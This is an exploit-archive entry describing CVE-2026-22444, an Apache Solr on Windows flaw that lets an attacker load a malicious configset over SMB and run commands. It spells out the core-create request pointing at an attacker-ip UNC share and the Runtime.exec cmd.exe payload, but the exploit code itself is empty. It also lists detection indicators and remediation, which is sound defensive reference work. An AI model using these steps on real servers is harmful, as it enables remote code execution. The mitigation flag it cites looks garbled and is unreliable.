Apache Solr UNC Path Validation Bypass to RCE (CVE-2026-22444)
by Repository author (GitHub: bfdfhdsfdd-crypto) · 2026-07-05
- Severity
- Critical
- CVE
- CVE-2026-22444
- Category
- web
- Affected product
- Apache Solr, standalone mode, running on Windows
- Affected versions
- Versions affected by insufficient path validation in CoreDescriptor/CoreContainer (see openwall disclosure); exact version range not specified in source
- Disclosed
- 2026-07-05
- Patch status
- unpatched
Tags
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-01 |
| Author / Researcher | Repository author (GitHub: bfdfhdsfdd-crypto) |
| CVE / Advisory | CVE-2026-22444 |
| Category | web |
| Severity | Critical |
| CVSS Score | Not specified in source |
| Status | Weaponized |
| Tags | apache-solr, rce, unc-path, smb, configset, javascript-script-update-processor, windows, cwe-20 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Solr, standalone mode, running on Windows |
| Versions Affected | Versions affected by insufficient path validation in CoreDescriptor/CoreContainer (see openwall disclosure); exact version range not specified in source |
| Language / Platform | Python (exploit), JavaScript (RCE payload run inside Solr’s script update processor) |
| Authentication Required | No (if Solr has no auth enabled, or attacker has core-create privileges) |
| Network Access Required | Yes |
Summary
CVE-2026-22444 affects Apache Solr’s “create core” admin API on Windows deployments running in standalone mode. Path validation (assertPathAllowed()) is only performed after the CoreDescriptor constructor has already triggered filesystem/network operations (toAbsolutePath(), Files.exists(), Files.newInputStream()) on the supplied instance path. By passing a UNC path (\\attacker-ip\share) as the configSet parameter, an attacker can make the Solr server fetch a malicious configset from an attacker-controlled SMB share before the path is validated. The malicious configset defines a StatelessScriptUpdateProcessorFactory chain that loads a JavaScript payload (rce.js) executing arbitrary OS commands via java.lang.Runtime.exec() whenever update requests (add/delete/commit/rollback) are processed. The included Python exploit stands up a local SMB server (via Impacket), triggers core creation pointing at it, then sends an update request to invoke the payload and provides an interactive command shell.
Vulnerability Details
Root Cause
CoreDescriptor/CoreContainer performs filesystem and network resolution of the supplied core instancePath/configSet (which can be a UNC path) before calling assertPathAllowed(), so the security check that should block traversal/remote paths runs too late to prevent the SMB fetch from occurring (CWE-20: Improper Input Validation).
Attack Vector
- Attacker starts a local SMB server hosting a malicious Solr configset directory (
conf/solrconfig.xml,schema.xml,managed-schema, andrce.js). - Attacker sends a Solr admin
CREATEcore request (/solr/admin/cores?action=CREATE&configSet=//attacker-ip/share&name=...) to the target. - Solr resolves and reads the configset from the attacker’s SMB share before performing path validation, loading
solrconfig.xml’sStatelessScriptUpdateProcessorFactorychain pointing atrce.js. - Attacker sends an update request (e.g., add/commit) to the newly created core with a
cmdparameter; the JS update processor callsRuntime.exec(["cmd.exe", "/c", cmd])and returns stdout/stderr/exit code. - The exploit script exposes this as an interactive pseudo-shell for arbitrary Windows command execution.
Impact
Unauthenticated or low-privileged remote code execution on the Solr host with the privileges of the Solr service account.
Environment / Lab Setup
Target: Apache Solr (standalone mode) on Windows, core-create capability reachable
Attacker: Python 3.6+, `pip install -r requirements.txt` (requests, impacket), reachable network path for SMB (445/tcp)
Proof of Concept
PoC Script
See
exploit.pyand thefiles/configset (rce.js,conf/solrconfig.xml,conf/schema.xml,conf/managed-schema) in this folder.
| |
Starts a local SMB server sharing the files/ configset, creates a Solr core that pulls the configset over the UNC path, then drops into an interactive shell (solr> prompt) that executes arbitrary Windows commands via the rce.js script update processor and prints stdout/stderr/exit code for each command.
Detection & Indicators of Compromise
Signs of compromise:
- New Solr cores appearing with names matching
exploit_core_*or other unexpected auto-generated patterns - Solr process spawning
cmd.exechild processes - SMB/network logs showing the Solr host connecting outbound to an unfamiliar SMB share around the time of core creation
Remediation
| Action | Detail |
|---|---|
| Primary fix | No vendor patch confirmed as of 2026-07-05 — monitor the openwall/oss-security advisory and upstream Apache Solr releases for the fix |
| Interim mitigation | Enable authentication and restrict core-create privileges; block outbound SMB from the Solr host; run Solr with -Dsolr.disable.shardHandler.smb-style network egress restrictions or a strict firewall policy |
References
Notes
Mirrored from https://github.com/bfdfhdsfdd-crypto/CVE-2026-22444 on 2026-07-05.
| |